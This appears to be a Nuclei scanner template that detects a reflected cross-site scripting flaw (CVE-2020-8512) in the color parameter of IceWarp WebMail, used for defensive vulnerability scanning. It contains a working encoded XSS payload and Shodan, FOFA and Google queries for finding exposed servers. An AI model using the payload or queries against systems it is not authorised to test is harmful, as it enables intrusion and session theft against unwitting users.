id: CVE-2020-8512

info:
  name: IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting
  author: pdteam,dwisiswant0
  severity: medium
  description: IceWarp Webmail Server through 11.4.4.1 contains a cross-site scripting vulnerability in the /webmail/ color parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of IceWarp WebMail Server (>=11.4.4.2) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47988
    - https://twitter.com/sagaryadav8742/status/1275170967527006208
    - https://cxsecurity.com/issue/WLB-2020010205
    - https://packetstormsecurity.com/files/156103/IceWarp-WebMail-11.4.4.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8512
    cwe-id: CWE-79
    epss-score: 0.14834
    epss-percentile: 0.96347
    cpe: cpe:2.3:a:icewarp:icewarp_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve,cve2020,edb,packetstorm,xss,icewarp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(document.domain)>"
          - "<strong>IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402200461a85be2f6cf7205c79a5f7d4c08c4235389109f3902238e25a661d4af440102201259ee29797db3525c744c0873fa949612e10003c0c0cc152973c1468a07fa5e:922c64590222798bb761d5b6d8e72950